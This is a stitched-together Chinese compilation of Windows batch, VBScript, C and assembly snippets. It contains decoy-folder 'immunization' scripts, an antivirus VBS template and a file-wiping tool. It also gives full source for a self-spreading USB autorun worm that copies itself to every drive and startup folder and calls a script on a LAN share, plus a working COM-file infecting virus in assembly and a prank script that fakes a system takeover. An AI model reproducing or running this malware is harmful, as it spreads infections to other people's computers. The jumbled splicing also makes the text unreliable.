for %%c in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib %%c:\auto.exe +s +h +r +a >nul 2>nul

for %%d in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib %%d:\autorun.inf +s +h +r +a >nul 2>nul

for %%e in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo y|cacls %%e:\auto.exe /d everyone >nul 2>nul

for %%f in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo Y|cacls %%f:\autorun.inf /d everyone >nul 2>nul

echo *********************************************************************************

echo *                                                                            *

echo *                               免疫完成                                     *

echo *                                                                            *

echo *********************************************************************************

echo *******************************************************************************

echo *                                                                            *

echo *                               现在进行IGM免役                            *

echo *                                                                            *

echo *******************************************************************************

md c:\windows\IGW.exe 2>nul

md c:\windows\AVPSrv.exe 2>nul

md c:\windows\DiskMan32.exe 2>nul

md c:\windows\IGM.exe 2>nul

md c:\windows\Kvsc3.exe 2>nul

md c:\windows\lqvytv.exe 2>nul

md c:\windows\MsIMMs32.exe 2>nul

md c:\windows\system32\3CEBCAF.exe 2>nul

md c:\windows\system32\racvsvc.exe 2>nul

md c:\windows\nvdispdrv.exe 2>nul

md c:\windows\dbghlp32.exe 2>nul

md c:\windows\system32\drivers\svchost.exe 2>nul

md c:\windows\system32\a.exe 2>nul

md c:\windows\upxdnd.exe 2>nul

md c:\windows\WinForm.exe 2>nul

md c:\windows\system32\rsjzbpm.dll 2>nul

md c:\windows\system32\cmdbcs.dll 2>nul

md c:\windows\system32\upxdnd.dll 2>nul

md c:\windows\system32\yfmtdiouaf.dll 2>nul

md c:\windows\nvdispdrv.exe 2>nul

md c:\windows\49400MM.DLL 2>nul

md c:\windows\338448WO.dll 2>nul

md c:\windows\235780MM.dll 2>nul

md c:\windows\235780WO.DLL 2>nul

attrib c:\windows\IGW.exe +s +r +h +a 2>nul

attrib c:\windows\AVPSrv.exe +s +r +h +a 2>nul

attrib c:\windows\DiskMan32.exe +s +r +h +a 2>nul

attrib c:\windows\IGM.exe +s +r +h +a 2>nul

attrib c:\windows\Kvsc3.exe +s +r +h +a 2>nul

attrib c:\windows\lqvytv.exe +s +r +h +a 2>nul

attrib c:\windows\MsIMMs32.exe +s +r +h +a 2>nul

attrib c:\windows\system32\3CEBCAF.exe +s +r +h +a 2>nul

attrib c:\windows\system32\racvsvc.exe +s +r +h +a 2>nul

attrib c:\windows\nvdispdrv.exe +s +r +h +a 2>nul

attrib c:\windows\dbghlp32.exe +s +r +h +a 2>nul

attrib c:\windows\system32\drivers\svchost.exe +s +r +h +a 2>nul

attrib c:\windows\system32\a.exe +s +r +h +a 2>nul

attrib c:\windows\upxdnd.exe +s +r +h +a 2>nul

attrib c:\windows\WinForm.exe +s +r +h +a 2>nul

attrib c:\windows\system32\rsjzbpm.dll +s +r +h +a 2>nul

attrib c:\windows\system32\cmdbcs.dll +s +r +h +a 2>nul

attrib c:\windows\system32\upxdnd.dll +s +r +h +a 2>nul

attrib c:\windows\system32\yfmtdiouaf.dll +s +r +h +a 2>nul

attrib c:\windows\nvdispdrv.exe +s +r +h +a 2>nul

attrib c:\windows\49400MM.DLL +s +r +h +a 2>nul

attrib c:\windows\338448WO.dll +s +r +h +a 2>nul

attrib c:\windows\235780WO.DLL +s +r +h +a 2>nul

attrib c:\windows\235780MM.dll +s +r +h +a 2>nul

echo y|cacls c:\windows\235780MM.dll /d everyone 2>nul

echo y|cacls c:\windows\235780WO.DLL /d everyone 2>nul

echo y|cacls c:\windows\338448WO.dll /d everyone 2>nul

echo y|cacls c:\windows\49400MM.DLL /d everyone 2>nul

echo y|cacls c:\windows\nvdispdrv.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\yfmtdiouaf.dll /d everyone 2>nul

echo y|cacls c:\windows\system32\upxdnd.dll /d everyone 2>nul

echo y|cacls c:\windows\WinForm.exe /d everyone

echo y|cacls c:\windows\system32\cmdbcs.dll /d everyone 2>nul

echo y|cacls c:\windows\system32\rsjzbpm.dll /d everyone 2>nul

echo y|cacls c:\windows\upxdnd.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\a.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\drivers\svchost.exe /d everyone 2>nul

echo y|cacls c:\windows\dbghlp32.exe /d everyone 2>nul

echo y|cacls c:\windows\nvdispdrv.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\racvsvc.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\3CEBCAF.exe /d everyone 2>nul

echo y|cacls c:\windows\lqvytv.exe /d everyone 2>nul

echo y|cacls c:\windows\MsIMMs32.exe /d everyone 2>nul

echo y|cacls c:\windows\Kvsc3.exe /d everyone 2>nul

echo y|cacls c:\windows\IGM.exe /d everyone 2>nul

echo y|cacls c:\windows\DiskMan32.exe /d everyone 2>nul

echo y|cacls c:\windows\AVPSrv.exe /d everyone 2>nul

echo y|cacls c:\windows\IGW.exe /d everyone 2>nul

echo *********************************************************************************

echo *                                                                            *

echo *                               免疫完成                                     *

echo *                                                                            *

echo *********************************************************************************

echo *********************************************************************************

echo *                                                                            *

echo *                               现在进行AV免疫                               *

echo *                                                                            *

echo *********************************************************************************

for %%x in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%x:\hfhludy.exe >nul 2>nul

for %%y in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%y:\hfhludy.exe\1..\ >nul 2>nul

for %%r in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib %%r:\hfhludy.exe +s +h +r +a >nul 2>nul

for %%u in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo y|cacls %%u:\hfhludy.exe /d everyone >nul 2>nul

echo *********************************************************************************

echo *                                                                            *

echo *                               免疫完成                                     *

echo *                                                                                  *

echo *********************************************************************************

echo *********************************************************************************

echo *                                                                            *

echo *                         现在进行病毒下载器免疫                            *

echo *                                                                            *

echo *********************************************************************************

md c:\windows\system32\conime.exe.tmp2 2>nul

attrib c:\windows\system32\conime.exe.tmp2 +s +h +r +a 2>nul

echo y|cacls c:\windows\system32\conime.exe.tmp2 /d everyone 2>nul

echo *********************************************************************************

echo *                                                                                  *

echo *                               免疫完成                                  *

echo *                                                                                  *

echo *********************************************************************************

echo *********************************************************************************

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *                                                                            *

echo *********************************************************************************

pause

禁止QQ上网的vbs脚本代码

dim bag,pipe,honker,good

do

good="."

set bag=getobject("winmgmts:\\"&good&"\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='QQ.exe'")

for each i in pipe

i.terminate()

next

wscript.sleep 1

loop

病毒专杀VBS模块

“病毒专杀VBS模块.vbs”这个文件你可以直接执行，不会有任何破坏^^。

提供专杀模板，你就可以根据你分析出的病毒行为写出自己的病毒专杀工具。

非常的方便，非常的高效！

作为一个反病毒人士不应该仅仅能分析好病毒日志，还要知道如何分析病毒行为！

进而给出自己的解决方案！

这个解决方案并不一定非得用到网上那些出名的小软件icesword之类的。

因为你也可以自己写专杀，只要你学过VBS就行！

VBS代码很简单，和VB、VBSCRIPT是如出一辙的……

自然bat批处理（DOS命令）也可以写专杀，只要是编程语言大多数都是可以方便地写出专杀的。

呵~~这次你所要了解的就是如何用VBS来写专杀，我已经给出模板了，不了解的而你又真的有兴趣了解，可以到我的博客http://hi.baidu.com/ycosxhack来和我交流。

祝你好运：）。写专杀绝对是很快乐的事哦，因为你的专杀可以帮助很多朋友。

最后感谢好友小G（http://hi.baidu.com/greysign）与UMU（http://hi.baidu.com/umu618）

复制代码代码如下:

'查看更多关于此病毒专杀模板信息：http://hi.baidu.com/ycosxhack/modify/blog/36569f51dbd0cc8e8c5430d8

'-----------------病毒专杀VBS模板源码开始-----------------

on error resume next

msgbox "本专杀有ycosxhack提供http://hi.baidu.com/ycosxhack！",64,"xxx病毒专杀"

'本专杀模板有ycosxhack（余弦函数）制作，我的博客：http://hi.baidu.com/ycosxhack，欢迎讨论。

'-----------------病毒进程结束模块开始-----------------

set w=getobject("winmgmts:")

set p=w.execquery("select * from win32_process where name='rundll.exe'")

for each i in p

i.terminate

next

'-----------------病毒进程结束模块终止-----------------

'-----------------插入型dll病毒释放模块开始-----------------

set WSHShell=wscript.createobject("wscript.shell")

WSHShell.run("ps /e * hook.dll"),0,true

'请将第三方程序ps.exe与本专杀放在同一目录下

'-----------------插入型dll病毒释放模块终止-----------------

'-----------------病毒文件删除模块开始-----------------

set fso=createobject("scripting.filesystemobject")

set del=wscript.createobject("wscript.shell")

d1=del.ExpandEnvironmentStrings("%temp%\rundll.exe")

d2=del.ExpandEnvironmentStrings("%SystemRoot%\rundll86.exe")

d3=del.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll86.exe")

set v1=fso.getfile(d1)

set v2=fso.getfile(d2)

set v3=fso.getfile(d3)

set v4=fso.getfile("d:\virus\virus.exe") '没涉及到环境变量的可以直接这样写。

v1.attributes=0

v2.attributes=0

v3.attributes=0

v4.attributes=0

v1.delete

v2.delete

v3.delete

v4.delete

'-----------------病毒文件删除模块终止-----------------

'-----------------遍历删除各盘符根目录下病毒文件模块开始-----------------

set fso=createobject("scripting.filesystemobject")

set drvs=fso.drives

for each drv in drvs

if drv.drivetype=1 or drv.drivetype=2 or drv.drivetype=3 or drv.drivetype=4 then

set w=fso.getfile(drv.driveletter&":\rundll.exe")

w.attributes=0

w.delete

set u=fso.getfile(drv.driveletter&":\autorun.inf")

u.attributes=0

u.delete

end if

next

'-----------------遍历删除各盘符根目录下病毒文件模块终止-----------------

'-----------------注册表操作模块开始-----------------

set reg=wscript.createobject("wscript.shell")

reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", fso.GetSpecialFolder(1)&"\userinit.exe,","REG_SZ"

reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"

reg.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"

'-----------------注册表操作模块终止-----------------

'-----------------系统文件恢复模块开始-----------------

set fso=createobject("scripting.filesystemobject")

fso.getfile("rundll32.exe").copy("c:\windows\system32\rundll32.exe")

fso.getfile("rundll32.exe").copy("C:\WINDOWS\system32\dllcache\rundll32.exe")

'-----------------系统文件修复模块终止-----------------

'-----------------HOST文件修复模块开始-----------------

set fso=createobject("scripting.filesystemobject")

set re=fso.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts",2,0)

re.Writeline "127.0.0.1 localhost"

re.Writeline "127.0.0.1 www.你要屏蔽的恶意网址或IP.com"

re.Close

set re=nothing

'-----------------HOST文件修复模块终止-----------------

'-----------------Autorun免疫模块开始-----------------

set fso=createobject("scripting.filesystemobject")

set drvs=fso.drives

for each drv in drvs

if drv.drivetype=1 or drv.drivetype=2 or drv.drivetype=3 or drv.drivetype=4 then

fso.createfolder(drv.driveletter&":\autorun.inf")

fso.createfolder(drv.driveletter&":\autorun.inf\免疫文件夹..\")

set fl=fso.getfolder(drv.driveletter&":\autorun.inf")

fl.attributes=3

end if

next

'-----------------Autorun免疫模块终止-----------------

'-----------------ARP病毒欺骗--客户端免疫模块开始-----------------

set WshShell=wscript.createobject("wscript.shell")

WshShell.run "arp -d",0

WshShell.run "arp -s 202.4.139.1 00-07-ec-23-f8-0a",0,true

'-----------------ARP病毒欺骗--客户端免疫模块终止-----------------

set fso=nothing

msgbox "病毒清除成功，请重启电脑！",64,"xxx病毒专杀"

'-----------------病毒专杀VBS模板源码终止-----------------

每次去机房用U盘总是染毒,今天把病毒代码抓出来了。

大家把下面代码复制到记事本上，无论存为txt还是bat。双击打开时，卡巴斯基和金山毒霸都会报毒。瑞星则不会。（瑞星对这方面病毒比较垃圾）。下面是毒的源代码。供大家学习和研究。

@echo off

setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS

cd /d "%~dp0"

if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")

set v=01

set "endf=%systemdrive%\8bye.txt"

call:ie s.vbe

echo.Wscript.sleep 10000>s.vbe

attrib s.vbe +a +s +r +h

if /i not "%cd%"=="%systemroot%" (call:cb&del /a /f /q s.vbe&goto :eof)

set dl=CDEFGHIJKLMNOPQRSTUVWXYZ

set n=0

call:inf >inf.tem

call:ql

uda.a

md "%systemroot%\bakfiles\"

call:ie "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"

copy uda-解压.bat "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"

call:ie "%systemroot%\bakfiles\uda.a"

call:copy uda.a "%systemroot%\bakfiles\"

:s

echo. >uhere-%v%.txt

if exist "%endf%" (set n=1&goto end)

if "!dl:~%n%,1!"=="" (set n=0&s.vbe&(ping 192.168.2.211 -n 1 &&call \\192.168.2.211\re$\add.bat))

set d=!dl:~%n%,1!:

set /a n=n+1

if not exist %d% (goto s)

if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f

rd "%d%\autorun.inf" /s /q)

if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call U盘病毒分析.bat -a -l -d %d:~0,-1% -c -i -s&goto s1)) else (goto s1)

if not exist "%d%\%~n0.vbe" (goto s2)

if not exist "%d%\%~nx0" (goto s3)

if not exist "%d%\uda.a" (goto s4)

if exist %d%\%date:~0,10%.sk (goto s)

:s1

call:inf >%d%\autorun.inf

attrib %d%\autorun.inf +a +s +r +h

call:ie "%d%\%~n0.vbe"

:s2

call:vbe "%~nx0" >"%d%\%~n0.vbe"

attrib "%d%\%~n0.vbe" +a +s +r +h

:s3

call:copy "%~dpnx0" "%d%\"

:s4

call:copy "uda.a" "%d%\"

call:ie %d%\*.sk

echo.>%d%\%date:~0,10%.sk

attrib %d%\%date:~0,10%.sk +a +s +r +h

goto s

:cb

if exist "%systemroot%\uhere-*.txt" (del /a /f /q "%systemroot%\uhere-*.txt"&s.vbe)

if exist "%systemroot%\uhere-*.txt" (if exist "%systemroot%\uhere-%v%.txt" (goto :eof) else (call:v "%systemroot%\uhere-*.txt"&(if %v% lss !v0! (goto :eof))))

call:rm >%systemdrive%\已经被反U盘病毒的“病毒”感染.txt

call:copy "%~dpnx0" "%systemroot%\"

call:copy "uda.a" "%systemroot%\"

call:ie "%systemroot%\%~n0.vbe"

call:vbe "%~nx0" >"%systemroot%\%~n0.vbe"

call:ie "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"

call:vbe "%systemroot%\%~nx0" >"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"

start "" /wait /d "%systemroot%\" "%systemroot%\%~n0.vbe"

goto :eof

:v

set "v0=%~nx1"

set /a "v0=%v0:~6,2%"

goto :eof

:rm

echo. 看到这个，请不要慌张。电脑病毒的定义为：1、传播性；2、潜伏性；3、破坏性。根据此定义，本脚本这完全符合1，有点符合2，不符合3（若说破坏性也不是没有，但只针对U盘病毒，而且会在删除文件前备份，备份地址：%systemroot%\bakfiles\），因此，病毒二字加了引号，即不是真正的病毒。本脚本的目的是通过U盘传播，并沿途清理U盘中的病毒，如果可能，会把收集到的病毒文件发给作者；不会给您造成太多不便（与其被U盘病毒感染，不如被本脚本感染啦）。如果您觉得这样给您造成了不便，想卸载本脚本，请在%systemdrive%\下新建一个名为8bye的文本文件（不需要写入内容，即：新建%endf%），大约在20秒内完成卸载，并帮助您进行U盘病毒免疫。欲了解更多，请打开 U盘病毒分析的自述文件（地址：%systemroot%\readme.txt）。谢谢！

echo. 包含文件：u.bat（本文件，4240字节）、uda.a（21674字节，md5：e6762ebf6123bc17ab31995c61bba955）

echo. 为研究性学习而制作，于2007-03-15，望多多支持！作者：CyyIsGood（肇中高一11），联系：cyyisgood@126.com

goto :eof

:vbe

echo.wscript.createobject("wscript.shell").run """%~1"" /start",0

goto :eof

:inf

echo.[AutoRun]

echo.open=wscript.exe %~n0.vbe

echo.shell\open\Command=wscript.exe %~n0.vbe

echo.shell\explore\Command=wscript.exe %~n0.vbe

echo.shell\find\Command=wscript.exe %~n0.vbe

goto :eof

:ie

if exist "%~1" (del /a /f /q "%~1")

goto :eof

:copy

call:ie "%~dp2%~nx1"

attrib "%~1" -s -h

copy "%~1" "%~dp2"

attrib "%~1" +s +h

attrib "%~dp2%~nx1" +s +h

goto :eof

:ql

cd /d "%systemroot%\"

del /a /f /q Anti-U盘免疫.bat ReadMe.txt uda-解压.bat U盘病毒分析.bat zap.a 主操控.bat 打开发送功能.bat

cd /d "%~dp0"

goto :eof

:end

set d=!dl:~%n%,1!

echo.%d%:\

if exist %d%:\ (del /a /f /q %d%:\u.vbe %d%:\u.bat %d%:\uda.a)

set /a n=n+1

if not "!dl:~%n%,1!"=="" goto end

call U盘病毒分析.bat -c&call:ql&del /a /f /q "%systemdrive%\已经被反U盘病毒的“病毒”感染.txt" "%~dp0s.vbe" "%endf%" inf.tem "uda.a" "%~n0.vbe" "uhere-%v%.txt" "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe" "%~nx0"

[转载]彻底删除文件工具代码

应该是不可恢复的，因为我是在删除前改写文件内容，最多恢复的也是改写后的内容。标准的做法应该是去系统文件表查询文件的每块具体位置，然后在这些位置上写入垃圾数据。不过太麻烦了，所以找了下面这个折衷的办法。或许有人会说，那我还不如自己动手，先改内容，再保存，再删除。是啊，我的这个程序还真没什么用场。。。。

# include "windows.h"

# include "stdio.h"

#pragma comment(lib, "kernel32.lib")

// Global Variables Declaration

char *pFileName = NULL;

HANDLE hFileDel;

// ERROR Handle Function

void ErrorExit(LPTSTR lpszFunction)

{

TCHAR szBuf[80];

LPVOID lpMsgBuf;

DWORD dw = GetLastError();

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM,

NULL,

dw,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),

(LPTSTR) &lpMsgBuf,

0, NULL );

wsprintf(szBuf,

"%s failed with error %d: %s",

lpszFunction, dw, lpMsgBuf);

MessageBox(NULL, szBuf, "Error", MB_OK);

LocalFree(lpMsgBuf);

ExitProcess(dw);

}

// Main Function

int main(int argc, char *argv[])

{

if(argc != 2)

{

printf("Command Format: %s filename\n", argv[0]);

return -1;

}

pFileName = argv[1]; // the file to be deleted

// TODO: Open the Target File

hFileDel = CreateFile( pFileName,

GENERIC_READ | GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL);

if(hFileDel == INVALID_HANDLE_VALUE) // file can not be opened

{

ErrorExit("CreatFile");

return -1;

}

LPSTR RubbishBuffer;

DWORD dwBytesWritten;

DWORD dwBufferLength;

// TODO: Get File Size

dwBufferLength = GetFileSize(hFileDel, NULL);

// TODO: Construct the Rubbish Buffer

int BufferSize = (int) dwBufferLength;

int i; // loop counter

char RubbishData[BufferSize], *p;

p = RubbishData;

for(i=0; i

{

*p = 'i';

p++;

}

//printf("the rubbish buffer is: %s\n", RubbishData);

// TODO: Overwrite the Original File with Rubbish Data

if(!WriteFile( hFileDel,

RubbishData,

dwBufferLength,

&dwBytesWritten,

NULL) )

{

ErrorExit("WriteFile Function");

return -1;

}

CloseHandle(hFileDel);

// TODO: Delete the Modified File

if(!DeleteFile(pFileName))

{

ErrorExit("DeleteFile");

return -1;

}

return 1;

间单的病毒代码

;-----------------------------------------

;功能：感染当前文件夹的test.com文件

; 并删除当前文件夹的del.txt文件

; 显示预设的字符串

CSEG SEGMENT

ASSUME CS:CSEG,DS:CSEG,SS:CSEG

main PROC NEAR

mainstart:

CALL vstart ;病毒的代码开始处

vstart:

POP SI ;得到当前地址

MOV BP,SI ;保存当前地址

PUSH SI

MOV AH,9

ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串

MOV DX,SI

INT 21h

POP SI

ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节

MOV DI,100h ;目的地址

MOV AX,DS:[SI] ;开始复制

MOV DS:[DI],AX

INC SI

INC SI

INC DI

INC DI

MOV AX,DS:[SI]

MOV DS:[DI],AX

MOV SI,BP ;恢复地址值

MOV DX,OFFSET delname-OFFSET vstart

ADD DX,SI

MOV AH,41h

INT 21h

MOV DX,OFFSET filename-OFFSET vstart ;得到文件名

ADD DX,SI

MOV AL,02

MOV AH,3dh ;写文件

INT 21h

JC error

MOV BX,AX ;文件句柄

MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节

ADD DX,SI

MOV CX,4

MOV AH,3fh

INT 21h

MOV AX,4202h ;到文件尾

XOR CX,CX

XOR DX,DX

INT 21h

MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方

ADD DI,2

ADD DI,SI

SUB AX,4

MOV DS:[DI],AX

ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒

MOV DX,SI

MOV vsizes,OFFSET vends-OFFSET mainstart

MOV CX,vsizes

MOV AH,40h

INT 21h

MOV SI,BP ;定位到文件头

MOV AL,0

XOR CX,CX

XOR DX,DX

MOV AH,42h

INT 21h

MOV AH,40h ;将新的文件头写入

MOV CX,4

MOV DX,OFFSET new4byte-OFFSET vstart

ADD DX,SI

INT 21h

MOV AH,3eh ;关闭文件

INT 21h

error:

MOV AX,100h

PUSH AX

RET

main ENDP

yuan4byte:

RET

DB 3 DUP (?)

vsizes DW 0

new4byte DB ‘M‘,0e9h,0,0

filename DB "test.com",0

delname DB "del.txt",0

message DB "He he he he!"

DB 0dh,0ah,"$"

vends:

start:

MOV AX,CSEG

MOV DS,AX

MOV SS,AX

CALL main

MOV AX,4c00h

INT 21h

CSEG ENDS

END start

以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何？？？不难吧。

附：

COM文件执行时将COM文件内所的所有内容COPY到内存，起始地址是100，然后进行执行

没有任何有关节啦、段啦这些属性，所以COM文件病毒是最简单最简单的病毒。}

vbs整人代码（要可以用）我直接COPY到记事本里，所以别打错了。

---------------------------------------------------------------------

代码:

Set ws=WScript.CreateObject("WScript.Shell")

ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64

ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64

wscript.sleep 100000

ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10

ws.popup"正在下载windows更新……",12

wscript.sleep 10000

ws.popup"windows更新已下载完毕，正在安装更新……",12

wscript.sleep 3000

msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？"

msgbox"软件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformation

msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"

msgbox"阻止失败，请检查防火墙是否开启"

wscript.sleep 15000

ws.popup"windows更新安装成功！",vbinfmation,20

msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation

ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64

ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10

ws.run"http://user.qzone.qq.com/1021435988/infocenter"

msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation

ws.popup"我再打开中国神泣官方网站",10

ws.run"http://shaiya.gtgame.com.cn/index.htm"

ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20

ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！"

ws.run "notepad",3 : wscript.sleep 2000

verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")

---------------------------------------------------------------------

代码2:

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("夜黑很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上100下哦，不过会给你惊喜滴")

WScript.Echo("还剩100下，快点点哦")

WScript.Echo("还剩99下，快点，小笨蛋！")

WScript.Echo("还剩98下对，就这样快点点！")

WScript.Echo("还剩97下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩96下，记得要快哦！")

WScript.Echo("还剩95下")

WScript.Echo("还剩94下")

WScript.Echo("还剩93下")

WScript.Echo("还剩92下")

WScript.Echo("还剩91下")

WScript.Echo("还剩90下")

WScript.Echo("还剩89下")

WScript.Echo("还剩88下")

WScript.Echo("还剩87下")

WScript.Echo("还剩86下")

WScript.Echo("还剩85下")

WScript.Echo("还剩84下")

WScript.Echo("还剩83下")

WScript.Echo("还剩82下")

WScript.Echo("还剩81下")

WScript.Echo("还剩80下")

WScript.Echo("还剩79下")

WScript.Echo("还剩78下")

WScript.Echo("还剩77下")

WScript.Echo("还剩76下")

WScript.Echo("还剩75下")

WScript.Echo("还剩74下")

WScript.Echo("还剩73下")

WScript.Echo("还剩72下")

WScript.Echo("还剩71下")

WScript.Echo("还剩70下")

WScript.Echo("还剩69下")

WScript.Echo("还剩68下")

WScript.Echo("还剩67下")

WScript.Echo("还剩66下")

WScript.Echo("还剩65下")

WScript.Echo("还剩64下")

WScript.Echo("还剩63下")

WScript.Echo("还剩62下")

WScript.Echo("还剩61下")

WScript.Echo("还剩60下")

WScript.Echo("还剩59下")

WScript.Echo("还剩58下")

WScript.Echo("还剩57下")

WScript.Echo("还剩56下")

WScript.Echo("还剩55下")

WScript.Echo("还剩54下")

WScript.Echo("还剩53下")

WScript.Echo("还剩52下")

WScript.Echo("还剩51下")

WScript.Echo("还剩50下")

WScript.Echo("还剩49下")

WScript.Echo("还剩48下")

WScript.Echo("还剩47下")

WScript.Echo("还剩46下")

WScript.Echo("还剩45下")

WScript.Echo("还剩44下")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩31下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下")

WScript.Echo("还剩12下")

WScript.Echo("还剩11下")

WScript.Echo("还剩10下")

WScript.Echo("还剩9下")

WScript.Echo("还剩8下")

WScript.Echo("还剩7下")

WScript.Echo("还剩6下")

WScript.Echo("还剩5下")

WScript.Echo("还剩4下")

WScript.Echo("还剩3下")

WScript.Echo("还剩2下")

WScript.Echo("还剩1下")

WScript.Echo("还剩0下")

WScript.Echo("哎看你可怜，饶了你吧")

WScript.Echo("还剩下")

WScript.Echo("还剩下停停！！！慢点，我有话要说")

WScript.Echo("还剩下，你继续点我就会消失滴")

WScript.Echo("还剩下，以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩下，你现在可以选择停止！")

WScript.Echo("还剩下。你还点啊，不要我拉？")

WScript.Echo("还剩下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩下。疯了，你有点负意！")

WScript.Echo("还剩下。对。你就点吧，我恨你！")

WScript.Echo("还剩下，不明白，删除我你就好吗？")

WScript.Echo("还剩下！真要删除我？")

WScript.Echo("还剩下。可是我真的很眷恋你。。。")

WScript.Echo("还剩下。不要这么绝情嘛，人家是爱你的！")

WScript.Echo("还剩下。哼，既然你这么绝情。也别怪我无义！！！")

